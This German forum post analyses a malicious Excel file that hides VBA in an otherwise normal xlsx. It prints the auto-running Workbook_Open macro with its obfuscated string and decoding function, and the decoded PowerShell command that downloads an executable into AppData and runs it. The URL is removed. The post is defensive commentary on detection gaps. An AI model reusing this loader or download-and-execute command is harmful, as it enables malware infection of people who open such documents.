Clever-Excel-Forum

Normale Version: xlsx mit VBA
Du siehst gerade eine vereinfachte Darstellung unserer Inhalte. Normale Ansicht mit richtiger Formatierung.
Hallo,

es gibt viele malware, die VBA in eine xlsx einbinden, aber meistens wird dazu die Zip-Strukture stark manipuliert (relativ einfach zu erkennen). Heute kam eine malware einer unbekannten Familie ohne das aus: Der einzige Unterschied zu einer normalen Datei ist die "vbaProject.bin"

Code:
Index Filename                            Encrypted Timestamp         
    1 [Content_Types].xml                        0 1980-01-01 00:00:00
    2 _rels/.rels                                0 1980-01-01 00:00:00
    3 xl/_rels/workbook.xml.rels                  0 1980-01-01 00:00:00
    4 xl/workbook.xml                            0 1980-01-01 00:00:00
    5 xl/drawings/drawing1.xml                    0 1980-01-01 00:00:00
    6 xl/drawings/_rels/drawing1.xml.rels        0 1980-01-01 00:00:00
    7 xl/worksheets/_rels/sheet1.xml.rels        0 1980-01-01 00:00:00
    8 xl/theme/theme1.xml                        0 1980-01-01 00:00:00
    9 xl/styles.xml                              0 1980-01-01 00:00:00
  10 xl/worksheets/sheet1.xml                    0 1980-01-01 00:00:00
  11 xl/vbaProject.bin                          0 1980-01-01 00:00:00 <<<<<<<<<<<<<<<<<
  12 xl/media/image1.jpg                        0 1980-01-01 00:00:00
  13 docProps/core.xml                          0 1980-01-01 00:00:00
  14 docProps/app.xml                            0 1980-01-01 00:00:00 

Es sind nur die nötigen "PK" in der Datei: Am Anfang "PK0304", für das Directory "PK0102" und am Ende der Datei "PK0506":

Code:
0x00000000 PK0304 fil b'493b...06c2.xlsx'
    0x0000e655 PK0102 dir b'493b...06c2.xlsx'
  1 0x0000e6d3 PK0506 end

Daher kann der VBA-Code kurz, aber vor Analysen mit Linux geschützt sein:

Code:
Public Sub Workbook_Open()
Shell QDqyCFAXNSKrUOzPJIDUPTbpRWFUEylRsmZXPUIBXRMAfaEnstfGLWV("���d��d��ȩ�ʬ���q����������q��ʸ��r���r���������mr��ο������éx����~s��ϴ�������r���ą����x��ɼxph��͋��Ǖ���o~��¯��r���xm�����������qq�Ʊw���ýr�Ǵú��˺���r����Ö����˶lu���~��Ǖ�Ÿ|k�������ɩk�", "qddwdwqdqw")
End Sub


Private Function QDqyCFAXNSKrUOzPJIDUPTbpRWFUEylRsmZXPUIBXRMAfaEnstfGLWV(strText As String, ByVal strPwd As String)
        Dim i As Integer, c As Integer
        Dim strBuff As String
#If Not CASE_SENSITIVE_PASSWORD Then
        strPwd = UCase$(strPwd)
#End If
        If Len(strPwd) Then
            For i = 1 To Len(strText)
                c = Asc(Mid$(strText, i, 1))
                c = c - Asc(Mid$(strPwd, (i Mod Len(strPwd)) + 1, 1))
                strBuff = strBuff & Chr(c And &HFF)
            Next i
        Else
            strBuff = strText
        End If
        QDqyCFAXNSKrUOzPJIDUPTbpRWFUEylRsmZXPUIBXRMAfaEnstfGLWV = strBuff
    End Function

LibreOffice warnt vor VBA, öffnet die Datei aber problemlos und hilft bei der Entschlüsselung:

Code:
cmd �c powershell (new�object �ystem.'et.�eb

lient).�ownloadile('    url entfernt   ',$env��pp�ata+'\�qX��.exe')('ew��bject -com Shell.�pplicationU.Shell�xecute($env:�pp�ata+'\�qX��.exe'U


Fragen:

- Warum prüft Microsoft nicht besser beim Öffnen von Office-Dokumenten
- Warum werden Dateien aus dem Internet (ADS Zone 3) nicht besser blockiert
- Warum werden Aufrufe von Powershell nicht geblockt (einige AV machen das)

mfg

(Der Vorteil, dass Viren öffentlich zugängich werden, ist, dass jeder die Gegenreaktion von Microsoft und AV-Anbietern zumindest etwas nachvollziehen kann. Die Webseite, die das anbietet, hat aber finanzielle Probleme, da Firmen zwar bei ransomware-Angriffen zahlen, aber nicht zur Verbesserung der Abwehr ohne die Geschäftsinteressen der AV. Sollte Sicherheit im Internet nicht ein "öffentiches Gut" sein und Aufgabe staaticher Stellen?)